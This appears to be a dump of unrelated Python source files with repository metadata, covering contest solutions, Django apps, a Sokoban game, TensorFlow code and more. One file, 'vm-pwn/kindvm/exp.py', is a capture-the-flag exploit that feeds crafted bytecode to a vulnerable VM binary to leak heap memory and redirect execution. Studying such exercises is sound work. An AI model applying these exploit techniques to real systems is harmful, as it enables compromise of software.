import sys sys.stdin = open("D4_13736_input.txt", "r") ''' A : 나연, B : 다현, K번 반복 둘 중 사탕의 개수가 더 적은 사람을 X 더 많은 사람이 Y 단, 두 사람이 같은 개수의 사탕을 갖고 있다면, 나연이가 X, 다현이가 Y ''' # 8 / 150 Runtime Error # T = int(input()) # for test_case in range(T): # A, B, K = map(int, input().split()) # P, Q = min(A, B), max(A...
[ "chy66822495@gmail.com" ]
chy66822495@gmail.com
36161f266f137b4ff0171d70c4ade6cf648c3723
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03077/s861845197.py
f96a63c26ca89079225eee278c72439ec3dfa518
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
131
py
n = int(input()) x = min([int(input()) for _ in range(5)]) a, b = divmod(n, x) if b == 0: print(5+(a-1)) else: print(5+a)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
b73bc4480e4a66a40f473ba54d908f10916b741f
b5207169365b9da94b4325bd9f9dec007200a5e0
/Week 3/Lists_Exercices/sum_numbers.py
844cfe6cc592dceaafae037bd74ee7c167c187a5
[]
no_license
veselotome4e/Programming0
de14083e15e607ef0994c582319fe3c204fc1a59
46f0c8785d87582ce7d33e0e76aaaaa5220d24f3
refs/heads/master
2021-01-17T04:58:52.789279
2015-04-02T17:07:17
2015-04-02T17:07:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
238
py
n = input("Enter count of numbers: ") n = int(n) count = 1 total_sum = 0 while count <= n: number = input("Enter number: ") number = int(number) total_sum += number count += 1 print("The sum is: {}".format(total_sum))
[ "bgvladedivac@gmail.com" ]
bgvladedivac@gmail.com
c8538f770bfcf0e102accd559d5693cc18dd1545
ebfcae1c5ba2997b2ac4471d5bedc3f5daffcb31
/flask-reactjs-master/app/controllers/auth.py
657ed1641a098915af28b71e0997b232627fc6ee
[]
no_license
babiato/flaskapp1
84de2d0b26a54f5820d3bbe97926782ad41e005c
530beb9e3b8516e0e93960b99521c23a523ef546
refs/heads/master
2023-02-26T16:36:49.760632
2021-02-04T09:08:40
2021-02-04T09:08:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,501
py
from flask import Blueprint, render_template, flash, request, redirect, url_for, session from flask_login import login_user, logout_user, login_required, current_user from app.extensions import cache from app.forms import LoginForm, SignupForm from app.models.database import db from app.models.user import User auth = ...
[ "jinxufang@tencent.com" ]
jinxufang@tencent.com
f0955d1871e808b8dee8159a502d97b13c603a75
e8e1263072f2524b19b3c31cccd09fd7ab9dd791
/firstapp/models.py
8d6f75a88fbb12b2348f93632ad5956cbd646ccc
[ "MIT", "LicenseRef-scancode-other-permissive" ]
permissive
Jameskirwa/My-Gallery
a5ca218e3d73bd7232e94ff657b3a621f5b52191
09e6aa78e1160dcc4054a9c59ab30c82eb7a33f4
refs/heads/master
2021-09-08T04:10:52.624317
2019-08-26T08:19:50
2019-08-26T08:19:50
204,121,182
0
0
MIT
2021-09-08T01:14:25
2019-08-24T06:57:37
Python
UTF-8
Python
false
false
2,091
py
from django.db import models class Category(models.Model): name = models.CharField(max_length=150) def __str__(self): return self.name def save_category(self): self.save() def delete_category(self): Category.objects.filter(id = self.pk).delete() def update_category(self,**kw...
[ "example@email.com" ]
example@email.com
bc4dda14797bc46b85211c6133d30c93584e9c1b
0e1e643e864bcb96cf06f14f4cb559b034e114d0
/Exps_7_v3/template_dir/pyramid_template_1_6_multi_model/pyr_1s/L4/step10_a.py
43fac9e99ff403a8fe65b27a87a39d53f28b9232
[]
no_license
KongBOy/kong_model2
33a94a9d2be5b0f28f9d479b3744e1d0e0ebd307
1af20b168ffccf0d5293a393a40a9fa9519410b2
refs/heads/master
2022-10-14T03:09:22.543998
2022-10-06T11:33:42
2022-10-06T11:33:42
242,080,692
3
0
null
null
null
null
UTF-8
Python
false
false
7,242
py
############################################################################################################################################################################################################# ##################################################################################################################...
[ "s89334roy@yahoo.com.tw" ]
s89334roy@yahoo.com.tw
2e4d46cb5a22676cd1f07512bcc46acae458ace7
64ef180b1725d831891ef075557ddcc540c6e42a
/lib/global_variable.py
7a73bcf960855161caddfb28385c3c3c02cfa0e4
[ "MIT" ]
permissive
nasingfaund/tkinter-gui-application-examples
125acc088133020adae0bfc9c752a8e75c780c73
7073d163713829b2ff10a331c7f88f845d89b1bc
refs/heads/master
2023-07-15T06:41:35.861732
2021-08-28T14:36:28
2021-08-28T14:36:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
489
py
#!/usr/bin/env python3 # -*- coding:utf-8-*- # global variable management module def init_global_variable(): """initialize variable""" global GLOBALS_DICT GLOBALS_DICT = {} def set_variable(name, value): """set variable""" try: GLOBALS_DICT[name] = value return True except Ke...
[ "doudoudzj@sina.com" ]
doudoudzj@sina.com
5bada0d60d2b1aaed7d233a5337a0dee2f48ec99
a83f2d14e27bb6f4eba7e96b31bf89e3dc6c9234
/app/reservation/migrations/0004_reservation_reservation_num.py
6488e775f6a4d899f6893467a37ad73386ff7134
[ "MIT" ]
permissive
wps-yapen/yapen
91be4fc1d76488d86ac664d530009fa3d9cd1dc6
4104856046529b06dbc1a3763c0632b508ebb3ca
refs/heads/master
2022-12-15T01:39:52.549999
2018-08-27T08:01:01
2018-08-27T08:01:01
141,869,434
1
5
MIT
2022-12-08T02:50:12
2018-07-22T05:47:32
Python
UTF-8
Python
false
false
413
py
# Generated by Django 2.1 on 2018-08-23 07:12 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('reservation', '0003_auto_20180816_1353'), ] operations = [ migrations.AddField( model_name='reservation', name='reserv...
[ "gambler1541@gmail.com" ]
gambler1541@gmail.com
5ff1e85c10983ea1d4ba709da8f7c8185e4575ea
391937be6d8c8bcf5c3fe9fae8790024fc1e1727
/vm-pwn/kindvm/exp.py
25caa1e8d8a01a0ff0d3a330cbcb0613ef3f7ecf
[]
no_license
n132/Watermalon
a9d93d3f0d598de7f8ed9bbe13ed02af364f770f
79b4479458ae0884d9cdd52d317674298d601d0a
refs/heads/master
2022-05-13T21:04:08.108705
2022-04-08T23:29:48
2022-04-08T23:29:48
154,925,917
6
2
null
null
null
null
UTF-8
Python
false
false
975
py
from pwn import * context.log_level='debug' context.arch='amd64' p=process('./kindvm') p.sendlineafter(": ","n132") pay="\x01\x00\xff\xd8\x08\x00" #load buf-0x28 & out reg[0]===> leak heap pay+="\x07\x01\x08\x04\x87\x7b" #set reg[0]=0x0804877b pay+="\x02\xff\xe4\x01" #store buf-0x28+0xc pay+="\x06" p.sendlineafter(": ...
[ "986256128@qq.com" ]
986256128@qq.com
bca7dfdb7918343e7126a2b464bae118858e5ec9
bf03cf5fc05ecc390d75112bb944e153d78c5fa4
/script.py
87ea237bc6bc685a54278d4b7319cb35ff69b682
[]
no_license
elagulsen/computergraphics_anim
a55f734269933183f275ae4aabfa1843a0e17ab4
0c4bf94282620891c4029ac6f7b3f816ef9d9b6e
refs/heads/master
2020-05-25T15:12:38.057832
2019-05-27T02:59:20
2019-05-27T02:59:20
187,862,207
1
0
null
null
null
null
UTF-8
Python
false
false
6,648
py
import mdl from display import * from matrix import * from draw import * """======== first_pass( commands ) ========== Checks the commands array for any animation commands (frames, basename, vary) Should set num_frames and basename if the frames or basename commands are present If vary is found, but frame...
[ "you@example.com" ]
you@example.com
43f766ac317ec840fe45bcce7ec0336926986945
e3f52aa153ac5649f433a16eec15028253ca0799
/scripts/irods/test/test_stacktrace.py
6b1742e7508f12b9d3955698613a222a48404140
[ "BSD-3-Clause" ]
permissive
panmin2014/irods
f002b788738ce8d0c01a448ac0968ad9e70c7b20
3797e9eccdae1acffccc3d4048470e838250ced8
refs/heads/master
2021-01-06T11:36:20.144983
2020-02-14T17:40:09
2020-02-18T02:20:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,120
py
import sys if sys.version_info < (2, 7): import unittest2 as unittest else: import unittest from . import session from .. import test from .. import lib from ..configuration import IrodsConfig class Test_Stacktrace(session.make_sessions_mixin([('otherrods', 'rods')], []), unittest.TestCase): plugin_name...
[ "terrellrussell@gmail.com" ]
terrellrussell@gmail.com
992cb8683e0b490894efdd7e3cc83d284fc26c68
95eed88115075f7e1916a14de7497d05a12a9330
/abc120a.py
5bf9006cbd5783bdaac9568283a5ee58bd51c33b
[]
no_license
ynagi2/atcoder
bdbbd030f1dd39e937b0872b028ce0f38372521e
e404f4500d837bfd6ca473aa2837f46ae71ad84a
refs/heads/master
2022-04-29T12:48:44.229462
2022-04-22T15:04:50
2022-04-22T15:04:50
241,098,529
0
0
null
null
null
null
UTF-8
Python
false
false
157
py
def main(): a, b, c = map(int, input().split()) ans = b // a if ans > c: ans = c print(ans) if __name__ == '__main__': main()
[ "noreply@github.com" ]
ynagi2.noreply@github.com
717a6842daafc0790cc0924309e0bef562e33f10
3eec249b3629c31ed0114eaaff485b94f23d6b47
/bin/gifmaker.py
903d1db9884b1b9d8fa6b84fbf46242c85436024
[]
no_license
sarkmen/form
19bae21eafc01aa60c443861dad57833d98fa7d8
0efa1bee36e418095210e0fcc1459cdba8ffa1d6
refs/heads/master
2020-12-25T14:13:11.061223
2016-05-10T17:09:59
2016-05-10T17:09:59
58,479,505
0
0
null
null
null
null
UTF-8
Python
false
false
663
py
#!/Users/Roadwalker/dev/form/bin/python3 # # The Python Imaging Library # $Id$ # # convert sequence format to GIF animation # # history: # 97-01-03 fl created # # Copyright (c) Secret Labs AB 1997. All rights reserved. # Copyright (c) Fredrik Lundh 1997. # # See the README file for information on usage and r...
[ "beomjun.gim3@gmail.com" ]
beomjun.gim3@gmail.com
655699afe83781bb74ad88f303463968b8ad5417
02560440f9f91e583fe98d80ab11e18aa6c7a525
/apps/proyectos/forms.py
365d5900cbb0edd35e6ad62b85b64ef0e85302f0
[]
no_license
eduardogpg/wamadeusV1
a36c89176543e638486009620c5131f46743edbc
82d93293dc6afc95a6661f727162f4055ab83a43
refs/heads/master
2020-12-28T01:57:47.831689
2015-01-08T05:14:25
2015-01-08T05:14:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
209
py
from django import forms from django.forms import ModelForm from .models import Proyecto class FormularioProyecto(ModelForm): class Meta: model = Proyecto fields = ['nombre', 'descripcion', 'estado']
[ "eduardo78d@gmail.com" ]
eduardo78d@gmail.com
1a44e38e24ab11597b78026aa318c47881ad2e54
9d6a3789c083b170920707597b9785d02704b66b
/TimeTracker/controllers/monthly_invoice_controller.py
64700b6d4f420831d5dae260e67648e47c5006cd
[]
no_license
jamesfowkes/TimeTracker
6d7736ecb6e895d1c191809ba3f262bb6f8ebd98
4293725e91519a4d02591f1629d94a68c0ab6100
refs/heads/master
2021-01-17T10:10:09.410146
2017-02-01T07:06:56
2017-02-01T07:06:56
32,203,718
0
0
null
null
null
null
UTF-8
Python
false
false
4,014
py
""" monthly_invoice_controller.py """ import logging from datetime import datetime from flask import url_for from TimeTracker import app from TimeTracker.controllers.client_controller import Client from TimeTracker.controllers.invoice_controller import Invoice from TimeTracker.controllers.task_controller import Task...
[ "jamesfowkes@gmail.com" ]
jamesfowkes@gmail.com
b74daa6016095c1a170cf196b2cbaba837b18549
a46fc5187245f7ac79758ae475d4d865e24f482b
/invert_binary_tree/invert_tree.py
6414a96d6210c576328d6c0b3eca09f01cd01404
[]
no_license
narnat/leetcode
ae31f9321ac9a087244dddd64706780ea57ded91
20a48021be5e5348d681e910c843e734df98b596
refs/heads/master
2022-12-08T00:58:12.547227
2020-08-26T21:04:53
2020-08-26T21:04:53
257,167,879
0
2
null
null
null
null
UTF-8
Python
false
false
1,445
py
#!/usr/bin/env python3 class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right class Solution: def invertTree(self, root: TreeNode) -> TreeNode: from collections import deque queue = deque() if root ...
[ "farruh1996@gmail.com" ]
farruh1996@gmail.com
236d152801b886b766d4449ce2f2c62cda20ed62
99b438e8709c23a097d0ab9d3068949454281da2
/bot.py
e37187b609eb05f221556f1c5faab210cb4a731a
[]
no_license
dennisthemenace2/TwitchViewBot
58f136a6f2c9a0e0589101eac166c1657e39af63
f258965798306f1b8caa9188e910fb2b65d3b7bf
refs/heads/master
2020-03-25T23:32:55.971007
2018-08-13T17:22:32
2018-08-13T17:22:32
144,280,008
0
0
null
null
null
null
UTF-8
Python
false
false
5,380
py
#!/usr/local/bin/python # -*- coding: utf-8 -*- #very crude code, I coded this on stream, the skullbot was used as basis for this """ simple Twitch bot https://github.com/skullvalanche/skullbot/blob/master/skullbot.py""" import socket import json import time import random import re from streamlink import Streamlink, ...
[ "your_email@example.com" ]
your_email@example.com
61e624f0dc940aef798161eaaf833cf7a28316b0
54426b97493542ad7534b4d9f4469d6f8d2ae0ec
/chapt-04-bits/find_difference.py
ad68c08a4b92bee9f9a8c80ea3d179276b8df728
[]
no_license
rlavanya9/cracking-the-coding-interview
5d2cac50b5bc5f2b5aec91e4c1827cafa1b15d29
de7b579573a187df116d39b52a43c109baf42c9c
refs/heads/master
2023-03-16T19:21:25.400844
2021-03-19T17:37:16
2021-03-19T17:37:16
349,505,743
0
0
null
null
null
null
UTF-8
Python
false
false
336
py
# https://www.youtube.com/watch?v=sRwElQ_TOr8 # def find_diff(s,t): # ret = 0 # for element in s+t: # ret += ret ^ ord(element) # return chr(ret) def find_diff(s,t): r = 0 for ch in s+t: r = r ^ ord(ch) return chr(r) print(find_diff("abcd", "acbda")) print(find_diff("abcd...
[ "rangaswamy.lavanya@gmail.com" ]
rangaswamy.lavanya@gmail.com
d4e7489e8836755bac49a53c47d0013e514fb9c2
f0d6efe035d4c2ed1ea6bb6d1d5a613b8630a025
/volttron/platform/vip/agent/decorators.py
47d90dc980a510629e6e0a6c7a44e8d7310de361
[ "BSD-2-Clause-Views", "BSD-3-Clause" ]
permissive
bemoss/BEMOSS3.5
d24c1c5587e5081092cc97250db45645363da4e4
75a09bc5d0a2ec0ae994ac900a93dc027b527860
refs/heads/master
2021-08-15T23:05:40.661118
2021-03-29T20:28:14
2021-03-29T20:28:14
91,000,462
81
38
NOASSERTION
2021-03-29T20:29:54
2017-05-11T16:25:43
Python
UTF-8
Python
false
false
6,872
py
# -*- coding: utf-8 -*- {{{ # vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et: # Copyright (c) 2015, Battelle Memorial Institute # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistri...
[ "aribemoss@gmail.com" ]
aribemoss@gmail.com
16bef5c7561ccaf5c34029ab3aaf64c300b6f436
ac8ffabf4d7339c5466e53dafc3f7e87697f08eb
/python_solutions/623.add-one-row-to-tree.py
56971c0a382183c4088f667b3b556bd97bfe3f0f
[]
no_license
h4hany/leetcode
4cbf23ea7c5b5ecfd26aef61bfc109741f881591
9e4f6f1a2830bd9aab1bba374c98f0464825d435
refs/heads/master
2023-01-09T17:39:06.212421
2020-11-12T07:26:39
2020-11-12T07:26:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,741
py
from collections import Counter, defaultdict, OrderedDict from bisect import bisect_left, bisect_right true = True false = False # # @lc app=leetcode id=623 lang=python3 # # [623] Add One Row to Tree # # https://leetcode.com/problems/add-one-row-to-tree/description/ # # algorithms # Medium (48.15%) # Total Accepted: ...
[ "ssruoz@gmail.com" ]
ssruoz@gmail.com
1d15bf71ddec80925f2a784eba7d9bb209b68db7
2d638ff9bda6648ac2b3723865db8639ee661fd8
/solid/machines/stepped_machine.py
33f1607388f47944d02951a9d47ef1aacd876a90
[]
no_license
haaksmash/solid
17341f87c1773f308338607331613a8f6099962c
cc96ccbfbb30719be86a8f0c1a1fd000494fddcb
refs/heads/develop
2022-01-26T16:23:07.958516
2016-09-01T17:44:54
2016-09-01T17:44:54
17,554,398
0
0
null
2022-01-21T19:26:06
2014-03-09T00:30:39
Python
UTF-8
Python
false
false
1,559
py
""" Copyright (C) 2014 Haak Saxberg This file is part of Solid, a state machine package for Python. This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at you...
[ "haak.erling@gmail.com" ]
haak.erling@gmail.com
f7380be13a009a146b7e691b3f7d6c33734bc574
85ddc4b28048d7eb2911eff0f0d0105285c972e9
/patchworkorange/minigames/sokoban/Sokoban.py
af036a4869490f622656ff60782aa32748523c02
[]
no_license
bitcraft/pyweek25
77f8286f4d33056bf5369439014199a3af11423d
4c6c25990716556d1c8e194eeb01764a1381e588
refs/heads/master
2020-03-13T00:38:19.843627
2018-04-24T22:18:59
2018-04-24T22:18:59
130,890,579
1
0
null
null
null
null
UTF-8
Python
false
false
7,946
py
import sys from logging import getLogger import pygame import pytmx.util_pygame from pytmx.pytmx import TiledTileLayer from patchworkorange.core import resources from patchworkorange.core.minigamemanager import Minigame BLOCK_SIZE = (32, 32) WALLS = [] BOXES = [] GOALS = [] PLAYER = [] logger = getLogger(__name__) ...
[ "leif.theden@gmail.com" ]
leif.theden@gmail.com
4a1648d34d72930158be9fbfad14f8e8432c9fd5
18720e8776eff5547bf9608ef3b103f06056ff3c
/home/migrations/0071_frontimage.py
29446bb751636f2eeab22d304e6d2073007eabbb
[]
no_license
vishnoitanuj/HBN
93dfb803554e6ff1143d5e64f74f159b89586202
c5149a987a10e5d7e83f1590d1e8282623144733
refs/heads/master
2021-01-23T05:35:37.749510
2017-06-09T19:18:59
2017-06-09T19:18:59
92,976,155
3
1
null
null
null
null
UTF-8
Python
false
false
867
py
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2017-06-08 14:41 from __future__ import unicode_literals from django.db import migrations, models import home.models class Migration(migrations.Migration): dependencies = [ ('home', '0070_meetprof_prof_name'), ] operations = [ migrati...
[ "vishnoitanuj@outlook.com" ]
vishnoitanuj@outlook.com
57cd5f8c533a6603d0bda4de5e6c5383f66df842
8c917dc4810e2dddf7d3902146280a67412c65ea
/v_7/GDS/common_shamil_v3/hr_custom_military/report/hr_injury_report.py
5fc012b4d158d01963254758c8c37d7b99f63b02
[]
no_license
musabahmed/baba
d0906e03c1bbd222d3950f521533f3874434b993
0b997095c260d58b026440967fea3a202bef7efb
refs/heads/master
2021-10-09T02:37:32.458269
2018-12-20T06:00:00
2018-12-20T06:00:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,717
py
# -*- coding: utf-8 -*- from report import report_sxw title = { 'officer' : unicode('ر.البطاقة', 'utf-8') , 'soldier' : unicode('نمرة', 'utf-8'), } class hr_injury(report_sxw.rml_parse): ''' @return move order data in dictionary ''' def get_record(self): res = {} for i in self.pool....
[ "bakry@exp-sa.com" ]
bakry@exp-sa.com
9b4bdd806a91d4941b72e0da6741443fcd8717f5
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/verbs/_bets.py
32e5d5d508f6497e3184189763383921cb90710c
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
217
py
from xai.brain.wordbase.verbs._bet import _BET #calss header class _BETS(_BET, ): def __init__(self,): _BET.__init__(self) self.name = "BETS" self.specie = 'verbs' self.basic = "bet" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
90b7858f5cb9925a5eaf71f660059b11ac9b7172
8206011c292afb98a2d8e49dd37250e2233b5a54
/muDIC/vlab/noise.py
12fa1eafee190ac7f196b1d1802d79c7cd4edfd6
[ "MIT" ]
permissive
ets-lipec/muDIC
898facc4a9af0aebb6cd40235268065d7bdc32da
e7f3706c39550f02355e422b345aece37f957d2e
refs/heads/master
2023-07-21T21:50:51.738840
2020-08-26T21:36:10
2020-08-26T21:36:10
283,907,230
0
1
MIT
2023-07-06T21:37:56
2020-07-31T00:47:05
Python
UTF-8
Python
false
false
1,269
py
from functools import partial import numpy as np def gaussian_noise_model(size, sigma): return np.random.normal(0.0, sigma, size) def noise_injector_additive(image, noise_generator): image_noisy = image + noise_generator(image.shape) return image_noisy def noise_injector(noise_model="gaussian", sigma...
[ "sindre.n.olufsen@ntnu.no" ]
sindre.n.olufsen@ntnu.no
dc2daabf812f0a8ee58491e12b0551d088b043e0
3f9d28984403cdd84b984d7a82eb6136018966a4
/beauty_accounting/__manifest__.py
79ee6ab3ff57dc994b36278df99d8fb696b37c5e
[]
no_license
joevm018/temasq
bee1c69aee4c87de415e66e236b40c28201e2951
74f003c6a009716bf26a6438f5ee48e7dfcbb030
refs/heads/master
2023-03-18T23:42:13.598853
2021-03-11T11:35:16
2021-03-11T11:35:16
346,671,390
0
1
null
null
null
null
UTF-8
Python
false
false
458
py
# -*- coding: utf-8 -*- { 'name': "Beauty Accounting", 'summary': """Beauty Accounting """, 'description': """ """, 'author': "Al Kidhma Group", 'website': "", 'category': '', 'version': '0.1', 'depends': ['base','product', 'account', 'account_accountant','beauty...
[ "esreejishnu@gmail.com" ]
esreejishnu@gmail.com
2eddf28f021cba9b9fe53e296f9c66ad2f23e939
05ef6b961d945ae4ac53e4078e17959c821fc489
/srcds/addons/source-python/plugins/admin/core/frontends/commands.py
f6b799a9b60edf27516c21b56308c24d311c30ac
[]
no_license
Source-Python-Dev-Team/Source.Python.Admin
416860399342638e29f8c46e8b9a1f454b8a910b
cead3639bab2acce9da55a4e7f196c750160b27f
refs/heads/master
2020-05-04T14:36:05.365570
2017-08-21T06:10:33
2017-08-21T06:10:33
37,398,305
8
1
null
null
null
null
UTF-8
Python
false
false
5,672
py
# ============================================================================= # >> IMPORTS # ============================================================================= # Source.Python from commands import CommandReturn from commands.typed import TypedClientCommand, TypedSayCommand from core import AutoUnload from ...
[ "kirill@mysnik.com" ]
kirill@mysnik.com
62006e749b3becd4e19aa94eee34c6b39a1f9cca
3be42b83a15d022f5863c96ec26e21bac0f7c27e
/tensorflow_probability/python/bijectors/cumsum.py
f90931c0b8c374976edafeefd243f29e73f8ae67
[ "Apache-2.0" ]
permissive
ogrisel/probability
846f5c13cddee5cf167b215e651b7479003f15d2
8f67456798615f9bf60ced2ce6db5d3dba3515fe
refs/heads/master
2022-11-09T10:53:23.000918
2020-07-01T23:16:03
2020-07-01T23:17:25
276,580,359
2
1
Apache-2.0
2020-07-02T07:37:58
2020-07-02T07:37:57
null
UTF-8
Python
false
false
3,544
py
# Copyright 2018 The TensorFlow Probability Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
4bb04826a22ff3f5b4d68c8ebbc2150750d3761d
d77c96f335e86f3ee4d283b734d67704878cecac
/software/multicut_exp/snemi3d/lmc_init_exp.py
6f2e9a2f650e2e16853fd8b69c1f3feb1c1790f2
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
ilastik/nature_methods_multicut_pipeline
93180aab3a5dfc2cd39e71c18f0e8e3b121960b8
1dc596505ab8c995b50561eeb969c59673b7dcab
refs/heads/master
2021-06-19T12:16:06.529352
2021-03-31T19:45:23
2021-03-31T19:45:23
74,971,782
17
3
NOASSERTION
2021-03-31T15:00:34
2016-11-28T12:40:13
Python
UTF-8
Python
false
false
2,547
py
# initialize the datasets for the snemi experiments import os from MetaSet import MetaSet from DataSet import DataSet meta_folder = "/media/tbeier/data/datasets/snemi_out/snemi3d" meta = MetaSet(meta_folder) # toplevel folder that has all the data data_path = "/media/tbeier/data/datasets/snemi_in/snemi3d_data" me...
[ "constantin.pape@iwr.uni-heidelberg.de" ]
constantin.pape@iwr.uni-heidelberg.de
94cf24793d7551daf1646bb1457b84e88d4eb79f
d338575967fb2017c1d0508659e25413c50dca04
/config/wsgi.py
07d72f22eaf90eecf3de6e3c14dbbc0a1794e9fc
[]
no_license
adbrum/djangoApi
3e02599847c2f5290deaf51011231424dda67e98
102194461aa916b5e2ef535ddb3bb87faaccc2fb
refs/heads/master
2022-12-15T10:47:07.297057
2020-09-04T16:01:42
2020-09-04T16:01:42
292,889,051
0
0
null
null
null
null
UTF-8
Python
false
false
392
py
""" WSGI config for djangoApi project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SET...
[ "adbrum@outlook.com" ]
adbrum@outlook.com
85b0af2639621d64dee82d84709e6ecfe2aa1581
c2f7566a917be17be73cae0fb949a24d6908d1f9
/tests/tests_algorithms/test_linear.py
438c3c41011b3476c7fe352c3a31da15e78f7348
[ "MIT" ]
permissive
jeisc/mljar-supervised
12a70a8e658e7dfdc8ddf06f9526e163a9bc62f2
aaa34592745433d1531bcef43598865c81ef8bae
refs/heads/master
2022-11-13T19:47:12.774939
2020-07-10T07:15:46
2020-07-10T07:15:46
278,840,661
1
0
MIT
2020-07-11T10:38:49
2020-07-11T10:38:49
null
UTF-8
Python
false
false
3,357
py
import unittest import tempfile import json import numpy as np import pandas as pd from numpy.testing import assert_almost_equal from sklearn import datasets from supervised.algorithms.linear import LinearAlgorithm, LinearRegressorAlgorithm from supervised.utils.metric import Metric import tempfile class LinearReg...
[ "pplonski86@gmail.com" ]
pplonski86@gmail.com
010ff94d5f9191ceba3f7e7ffeba988d0eb01df0
63b79eb44cf682ece74be1fc866f7651837db448
/powerplay/models/team_roster.py
cc5f710f77d1cfbd6e121757872e7d3ed58f4334
[]
no_license
bclark86/powerplay-py
c8cc4df8acd9ada91299706b7a7113ab9c963645
584d754629936a93d95157356ff806a5c68438dc
refs/heads/main
2023-07-19T04:23:16.510338
2021-09-02T13:17:12
2021-09-02T13:17:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,022
py
# coding: utf-8 """ NHL API Documenting the publicly accessible portions of the NHL API. # noqa: E501 OpenAPI spec version: 1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class TeamRoster(object): """NOTE: This ...
[ "saiem.gilani@gmail.com" ]
saiem.gilani@gmail.com
613addc74bd93d0e974769b4c8e96dcd8b3cec25
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02715/s479064767.py
ca5129e9e54c472c575918d588fa20e05490bc81
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
589
py
#!/usr/bin/env python3 def pow(N,R,mod): ans = 1 i = 0 while((R>>i)>0): if (R>>i)&1: ans *= N ans %= mod N = (N*N)%mod i += 1 return ans%mod def main(): N,K = map(int,input().split()) li = [0 for _ in range(K)] mod = 10**9+7 ans = 0 ...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
e99c87b491e6df6875cc6f1312144b027bd6033a
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/adjectives/_sudden.py
884b283d118b73f94878570113442b22a20189e3
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
405
py
#calss header class _SUDDEN(): def __init__(self,): self.name = "SUDDEN" self.definitions = [u'happening or done quickly and without warning: '] self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.specie = 'adjectives' def run(self, obj1, obj2): self.jsondata[obj2]...
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
cb4bfad6e1fd6a8e639c98b5700e7673f9ac2e55
c62abe2ec405bb7a1f1e3e193624675b8b5eb265
/src/test_one_hot.py
b6a52285ecc24141560a12ed4ae2d74eb1403e69
[]
no_license
luzi82/codelog.tensorflow
71362b87204ff9b4e46d7ec92ab481e893c4c42c
69e1e4b5969dc4797c6c8857b4d1ea893dbb3aa4
refs/heads/master
2021-01-12T09:59:25.649282
2017-02-05T04:55:53
2017-02-05T04:55:53
76,327,278
0
0
null
null
null
null
UTF-8
Python
false
false
669
py
import tensorflow as tf in_0 = tf.placeholder(tf.float32, [None,3]) idx_0 = tf.placeholder(tf.int64, [None]) out_0 = tf.placeholder(tf.float32, [None]) mask = tf.one_hot(idx_0, 3, axis=-1) in_mask = in_0 * mask mid = tf.reduce_sum(in_mask, reduction_indices=[1]) diff = out_0 - mid diff_abs = tf.abs(diff) diff_abs_mea...
[ "luzi82@gmail.com" ]
luzi82@gmail.com
0e5ca0152863d4767c3b6bb06f72c7ef8112cb20
0bd7c1f7bf6da5ef92b9013e1d913140f0249dfa
/cecilia-python/剑指offer/chapter-7/TranslateNum.py
7fa24b5a33808af9c1e5900d2cb15328814afb6e
[]
no_license
Cecilia520/algorithmic-learning-leetcode
f1fec1fae71c4cf7410122f5ce969e829f451308
32941ee052d0985a9569441d314378700ff4d225
refs/heads/master
2022-05-02T03:00:57.505672
2022-03-19T09:51:28
2022-03-19T09:51:28
229,673,810
7
1
null
2022-03-19T09:34:57
2019-12-23T04:04:04
Python
UTF-8
Python
false
false
2,735
py
